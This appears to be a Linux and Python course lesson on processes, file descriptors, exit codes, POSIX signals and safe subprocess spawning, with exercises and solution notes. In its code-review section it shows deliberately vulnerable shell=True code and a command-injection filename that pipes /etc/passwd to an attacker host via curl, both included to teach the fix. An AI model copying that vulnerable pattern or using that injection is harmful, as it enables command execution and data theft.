01 — Processes, File Descriptors, Exit Codes & Signals
At a glance
After completing this lesson you can:
- Explain how the Linux kernel initializes and tracks processes via Process Descriptors (
task_struct), Process IDs (PID), Parent IDs (PPID), and File Descriptor tables (0=stdin,1=stdout,2=stderr). - Intercept and safely handle POSIX signals (
SIGTERM,SIGINT) in Python to perform graceful connection draining, flush block buffers, and release locks before termination. - Explain why
SIGKILL(kill -9) cannot be intercepted, and how the Linux OOM Killer evaluates processoom_scoreduring memory exhaustion. - Spawn child processes securely using
subprocess.runwithshell=Falseand argument lists, avoiding command injection vulnerabilities and kernel pipe deadlocks.
Time: ~60 minutes · Prerequisites: Start Here
Reading Companion
- Book: How Linux Works (3rd Edition) — Brian Ward
- Chapter 2: Basic Commands and Directory Hierarchy (Standard I/O redirection
>,2>&1, Unix pipes|). - Chapter 8: Processes and Resource Utilization (Process states
R,S,D,Z, signalsSIGTERM/SIGKILL, exit status$?,/procfilesystem). - Documentation:
- Linux Kernel Documentation:
man 2 fork,man 2 execve,man 7 signal. - Python Standard Library:
subprocess(Subprocess management),signal(Set handlers for asynchronous events).
Why this matters in production
In modern cloud environments (Docker, Kubernetes, AWS ECS, systemd), process lifecycle management is the difference between zero-downtime rolling deploys and dropping thousands of user transactions.
When Kubernetes scales down an endpoint or deploys a new version of your service:
- It sends a
SIGTERMsignal to the main container process (PID 1). - It waits for a configured grace period (default: 30 seconds).
- If the process has not cleanly terminated by the deadline, Kubernetes delivers
SIGKILL(kill -9).
If your Python service does not listen for SIGTERM—or worse, if an AI-generated Dockerfile uses the shell form CMD python app.py which spawns /bin/sh as PID 1 that silently swallows signals—the process never receives the shutdown notification. Instead, it runs blindly until the 30-second timeout expires, at which point SIGKILL violently rips away memory and network sockets, cutting off active database transactions mid-write and corrupting user sessions.
Furthermore, improper stream management causes severe data loss: writing crash diagnostics to stdout instead of stderr leaves errors trapped inside user-space block buffers when the kernel terminates a frozen process.
Deep dive
1. The Anatomy of a Linux Process: task_struct and the FD Table
In Linux, a process is represented in kernel memory by a task_struct data structure. Among its critical fields are:
pid: The unique process identifier.parent: Pointer to the parenttask_struct(PPID).files: Pointer to thefiles_struct, which contains the process's File Descriptor (FD) Table.
+------------------------------------------------------------------------+
| Linux Kernel Memory Space: Process task_struct (PID: 4821, PPID: 1) |
| |
| [File Descriptor Table] |
| Index Pointer to Open File Description (file table in kernel) |
| ----- ------------------------------------------------------- |
| FD 0 sys.stdin <--- Kernel Pipe or TTY Device |
| FD 1 sys.stdout ---> Buffer (Line-buffered in TTY, Block-buffered)|
| FD 2 sys.stderr ---> Unbuffered stream (Diagnostics & Errors) |
| FD 3 Active PostgreSQL TCP Socket (e.g. 10.0.0.5:5432) |
| FD 4 File lock on /var/run/app.pid |
+------------------------------------------------------------------------+
Every new file, socket, or pipe created by your program allocates the lowest available integer in this table:
- FD 0 (
stdin/sys.stdin): Default input stream. - FD 1 (
stdout/sys.stdout): Default output stream. When connected to an interactive terminal, it is line-buffered (flushes on\n). When redirected to a pipe, Docker logging driver, or file, standard C libraries switch to block-buffering (typically 4 KB or 8 KB chunks). Unless explicitly flushed or run withPYTHONUNBUFFERED=1, output will linger in RAM! - FD 2 (
stderr/sys.stderr): Dedicated diagnostic stream. By convention and default implementation, it is unbuffered or line-buffered, ensuring errors reach the console even if the application crashes immediately afterwards.
2. POSIX Signals: Cooperative vs Unconditional Termination
POSIX signals are asynchronous notifications dispatched by the kernel to interrupt process execution.
+----------+--------+-----------------------+---------------------------------------+
| Signal | Number | Default Action | Catchable / Handleable in Python? |
+----------+--------+-----------------------+---------------------------------------+
| SIGHUP | 1 | Terminate process | YES (Used for live config reload) |
| SIGINT | 2 | Terminate process | YES (Sent by Ctrl+C from terminal) |
| SIGQUIT | 3 | Core dump & terminate | YES (Sent by Ctrl+\) |
| SIGKILL | 9 | Terminate process | NO (Kernel reclaims memory instantly) |
| SIGUSR1 | 10 | Terminate process | YES (Custom app signaling / log reopen)|
| SIGTERM | 15 | Terminate process | YES (Standard polite stop request) |
+----------+--------+-----------------------+---------------------------------------+
Why SIGKILL Cannot Be Intercepted:
SIGKILL (signal 9) and SIGSTOP (signal 19) are handled directly by the kernel's scheduler. The kernel pauses the CPU state, unmaps the process's virtual memory address space (mm_struct), closes all open file descriptors, and notifies the parent process via SIGCHLD. Your code never receives CPU cycles to execute cleanup logic.
The OOM Killer and oom_score:
When physical RAM and swap are exhausted, the Linux kernel invokes the Out-Of-Memory (OOM) Killer. It computes a badness score (/proc/<pid>/oom_score) based on:
- The percentage of system RAM the process consumes.
- The administrative adjustment score (
/proc/<pid>/oom_score_adj, range-1000to+1000).
The process with the highest score receives unconditional SIGKILL (resulting in exit code 137 = 128 + 9).
3. Exit Status Conventions and Math
When a process terminates, it leaves an 8-bit unsigned exit status code (0–255) for its parent process to inspect via the wait() or waitpid() syscalls:
0: Clean, error-free exit.1–127: Program-defined error exits (e.g.,1for general errors,2for CLI usage error).128 + N: POSIX standard convention indicating termination by signalN:130($128 + 2$): Terminated bySIGINT(Ctrl+C).137($128 + 9$): Murdered bySIGKILL(often OOM Killer orkill -9).143($128 + 15$): Terminated bySIGTERM(graceful shutdown deadline passed or container stopped).
4. Process Spawning: fork(), execve(), and Subprocess Deadlocks
In Unix-like systems, new processes are created via two fundamental syscalls:
fork(): Clones the calling process, duplicating memory pages using Copy-On-Write (COW).execve(): Replaces the current process image with a new executable program, clearing memory and resetting signal handlers while inheriting open file descriptors unless marked withO_CLOEXEC.
The 64 KB Pipe Deadlock Problem:
When running child processes in Python, communicating via pipes (subprocess.PIPE) creates an OS-level kernel buffer (typically 64 KB on Linux).
[ Python Parent ] ──── blocks waiting on proc.wait() ────┐
^ | DEADLOCK!
| v
[ Kernel Pipe (64 KB) ] ◄── write() blocks because full ── [ Child Process ]
If the child process produces more than 64 KB of text on stdout or stderr, its write() call blocks waiting for the parent to read data. If the parent simultaneously called proc.wait(), neither process can proceed! To prevent this, always use subprocess.run(..., capture_output=True) or proc.communicate(), which asynchronously pump pipes using selectors or background threads.
Hands on
Execute the two demonstration scripts included in this lesson to observe signal trapping and subprocess isolation:
# 1. Run graceful draining demo:
python3 phase0-foundations/01-linux-and-shell/01-processes-and-streams/examples/01_streams_and_signals.py
# 2. Run safe subprocess execution vs command injection demo:
python3 phase0-foundations/01-linux-and-shell/01-processes-and-streams/examples/02_subprocess_trap.py
Observe in 01_streams_and_signals.py how sending SIGTERM to self triggers the non-blocking signal flag, allowing the active loop iteration to finish cleanly before exiting with zero data loss.
AI Trap & Code Review
AI coding assistants frequently write subprocess commands that look clean but introduce catastrophic security and stability vulnerabilities:
# BAD AI-GENERATED CODE — DO NOT SHIP IN PRODUCTION
import subprocess
def inspect_log_file(filename: str) -> str:
# Trap 1: Shell Injection Vulnerability!
cmd = f"grep ERROR /var/log/app/{filename}"
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Trap 2: OS Pipe Buffer Deadlock!
proc.wait()
# Trap 3: No timeout handling!
return proc.stdout.read().decode()
What a Mid-Level Engineer catches in Code Review:
- Remote Command Injection (
shell=True): Becausecmdis interpolated directly and passed to/bin/sh -c, iffilenamecontainsapp.log; curl http://attacker.com/leak?d=$(cat /etc/passwd), the shell executes the second command with full privileges. Never useshell=Truewith dynamic strings. Always pass an argument list (["grep", "ERROR", target_path]) withshell=False. - Kernel Pipe Buffer Deadlock (
proc.wait()before reading): If the log file contains more than 64 KB of matching error lines,grepblocks on itswrite()syscall waiting for the pipe to be drained, whileproc.wait()blocks waiting forgrepto exit. The process hangs forever. - Missing Execution Timeout: If the child process stalls or reads from an open pipe, the worker thread remains blocked indefinitely, consuming pool capacity. Always supply
timeout=N.
Exercises
Open exercises.py and implement the 5 progressive rungs. Verify your solutions against the automated test suite:
python3 -m unittest phase0-foundations/01-linux-and-shell/01-processes-and-streams/test_exercises.py -v
- Rung 1 (
classify_exit_code): Map integer exit codes (0,1–127,130,137,143,128+N) to normalized status strings ("SUCCESS","SIGKILL_OOM","SIGTERM","SIGINT","SIGNAL_<N>","APP_ERROR_<code >"). - Rung 2 (
run_command_safely— Fix the AI Bug): Repair the broken subprocess runner to useshell=False, handleTimeoutExpiredcleanly by returning(-1, "", "TIMEOUT"), and reject empty argument lists. - Rung 3 (
route_log_streams): Read raw log records from an input stream, routing valid JSON objects to astdoutstream and malformed records to astderrstream with line numbers, returning exit code0on clean batches and1on error encounters. - Rung 4 (
GracefulWorker): Implement a worker state machine that processes sequential task batches but cleanly halts between items when a shutdown signal is signaled, guaranteeing no partial or dropped items. - Rung 5 (
parse_systemd_env_file): Parse production Linux/etc/environmentor systemd environment definitions, handling comments (#), whitespace,exportprefixes, inline=characters, and matching quotes.
Wrapping up
Can you explain?
Answer these engineering interview questions clearly:
- Why does
docker stoptake exactly 10 seconds to stop a container when theDockerfileusesCMD ["sh", "-c", "python app.py"]? - In Kubernetes, what exact sequence of events occurs between when a Pod enters
Terminatingstatus and when its containers are removed? - What is the fundamental architectural difference between how
SIGTERMandSIGKILLare handled by the Linux operating system?
Further Reading & References
- Linux man-pages: proc(5) — process information pseudo-filesystem
- Linux man-pages: signal(7) — overview of signals
- Python Documentation: subprocess — Subprocess management
- Brendan Gregg: Linux Performance and Process Analysis
- The Twelve-Factor App: XI. Logs as Event Streams
- Docker Documentation: Graceful Shutdown of Containers
Show reference solution notes
Solution & Engineering Notes — 01 Processes, Streams & Signals
Interview Answers (Can you explain?)
- Why does
docker stoptake 10 seconds when usingCMD ["sh", "-c", "python app.py"]? Because/bin/shbecomesPID 1inside the container, and standard/bin/shdoes not forwardSIGTERMto its child processes. Docker sendsSIGTERMtoPID 1(sh), which ignores it; after the 10-second timeout expires, Docker sendsSIGKILL(9) to all processes in the container namespace. Fix: always use exec formCMD ["python", "app.py"]orexec python app.pyso Python itself isPID 1. - Exit code
137in Kubernetes:137 = 128 + 9(SIGKILL). In 99% of backend incidents, this means the Linux kernel's OOM Killer (Out Of Memory) terminated the container because it exceeded its cgroup memory limit (resources.limits.memory). - Why
proc.wait()beforeproc.stdout.read()deadlocks: OS pipes have a finite kernel buffer (64 KB on Linux). Once the child process writes 64 KB tostdout, itswrite()syscall blocks until the parent reads from the pipe. If the parent is blocked insideproc.wait(), neither process can advance.subprocess.run()usescommunicate(), which readsstdoutandstderrconcurrently via selector/threads while waiting.
Self-check
Run python3 -m unittest phase0-foundations/01-linux-and-shell/01-processes-and-streams/test_exercises.py -v until green, then record it here. Saved to progress/rungs.json; commit it.
Completion edits PROGRESS.md; commit it with the lesson.